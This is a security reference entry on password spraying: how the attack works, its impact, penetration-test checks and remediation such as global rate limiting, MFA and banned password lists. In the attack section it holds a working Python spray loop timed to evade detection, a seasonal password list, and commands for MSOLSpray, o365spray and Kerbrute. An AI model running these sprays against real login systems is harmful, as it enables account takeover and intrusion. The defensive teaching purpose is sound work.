Description
Password spraying is a low-and-slow brute force technique that inverts the traditional approach: instead of trying many passwords against a single account (which triggers lockout), the attacker tries one or a few common passwords against many different accounts. This pattern evades per-account lockout thresholds — each account sees only one or two failed attempts — while systematically testing for the statistically predictable passwords that a percentage of any large user population will have chosen.
Password spraying falls under CWE-307 (Improper Restriction of Excessive Authentication Attempts) and OWASP A07:2021 (Identification and Authentication Failures). It is particularly effective against enterprise environments with Active Directory, Office 365, Azure AD, VPN portals, and web applications where usernames are predictable (firstname.lastname@company.com) and password complexity rules drive users toward predictable patterns like Season+Year+!.
Unlike credential stuffing (which uses breached credentials), password spraying requires only a valid username list and knowledge of common passwords for the target industry, organization, or geography. It is a core technique in red team engagements and is responsible for numerous high-profile breaches including the 2016 DNC intrusion conducted by APT28.
How It Works
The attacker first enumerates usernames from OSINT sources (LinkedIn for corporate targets, username enumeration vulnerabilities, marketing email addresses from hunter.io). Then constructs a spray list:
Common spray passwords based on current date (August 2026):
Summer2026!/Summer2026@August2026!Welcome1!/Welcome@1CompanyName2026!Password1!/P@ssw0rd
Spray execution with low-and-slow timing to avoid detection:
import time
import requests
usernames = load_usernames('users.txt')
passwords = ['Summer2026!', 'Welcome1!', 'Password1!']
for password in passwords:
for username in usernames:
r = requests.post('https://login.target.com/api/auth',
json={'username': username, 'password': password},
timeout=10)
if r.status_code == 200:
print(f'SUCCESS: {username}:{password}')
time.sleep(2) # Stay under per-IP rate limits
time.sleep(1800) # 30-minute pause between rounds to avoid global detection
Enterprise tools used in red team operations:
# Spray via Entra ID / Azure AD with MSOLSpray
python MSOLSpray.py --userlist users.txt --password "Summer2026!"
# Spray via Office 365 with o365spray
python3 o365spray.py --spray -U users.txt -p "Summer2026!" --count 1
# Spray via Active Directory with Kerbrute
kerbrute passwordspray -d corp.local users.txt "Summer2026!"
API-level password spraying — web application APIs with per-account lockouts but no global rate limiting are spray targets:
# Burp Suite Intruder — Pitchfork attack
# Position 1: username (from username list)
# Position 2: single password
# Result: tests one password against all usernames simultaneously
Impact
- Corporate Account Compromise — Gaining initial access to enterprise environments through predictable corporate password patterns
- VPN and Remote Access Breach — Compromising VPN and remote desktop credentials to gain internal network foothold
- Email Account Access — Reading confidential communications, launching business email compromise (BEC) from legitimate accounts
- Privilege Escalation Pivot — Using a sprayed low-privilege account as the starting point for lateral movement and escalation
- Persistence — Sprayed accounts are not immediately detected, providing stealthy persistent access for extended reconnaissance
Detection
Testing for password spraying vulnerability in a penetration test:
- Identify the lockout policy — determine how many failed login attempts trigger a lockout. Test with 5, 10, 15 failures on a test account. Document the exact threshold.
- Verify per-account vs global lockout — test whether failing on 5 different accounts (1 failure each) triggers any alert or restriction. Per-account lockout alone is insufficient.
- Test time-window lockout reset — verify how long lockout lasts. A 30-second lockout window allows ~2 attempts per minute per account — still spray-viable.
- Check for CAPTCHA or step-up on failed attempts — verify whether a CAPTCHA or email notification is triggered after the first or second failed attempt on any account.
- Test spray timing tolerance — submit login attempts with 60-second intervals across 100 accounts. Verify whether any detection or alerting mechanism fires.
- Review for username enumeration — password spraying requires a valid username list. If the application is also vulnerable to account enumeration, the combined risk is significantly higher.
Remediation
Implement both per-account and global rate limiting. Per-account lockout (e.g., after 10 failures) combined with a global failed-login rate limit (e.g., alert and throttle after 100 failures per minute across all accounts) addresses both traditional brute force and spraying:
# Per-account lockout
if get_failure_count(username) >= 10:
raise AccountLockedError()
# Global rate limiting
if get_global_failure_rate() >= 100: # failures per minute
trigger_security_alert()
apply_global_throttle()
Require MFA. A second factor invalidates sprayed credentials. Even if the password is correct, MFA stops the attack.
Enforce banned password lists. Block seasonal patterns, company name variations, and the top 1000 most common passwords at registration and password change. This removes the most effective spray targets from the user population.
Monitor for spray patterns. Alert on: multiple accounts receiving failed login attempts within a short window, login attempts from unusual geolocations or ASNs, and successful logins immediately following failed attempts on the same account.
Use smart lockout. Microsoft's Entra ID Smart Lockout and similar adaptive lockout systems distinguish between legitimate users and spray attacks using IP reputation, device trust, and behavioral analysis — reducing false positives while increasing spray detection accuracy.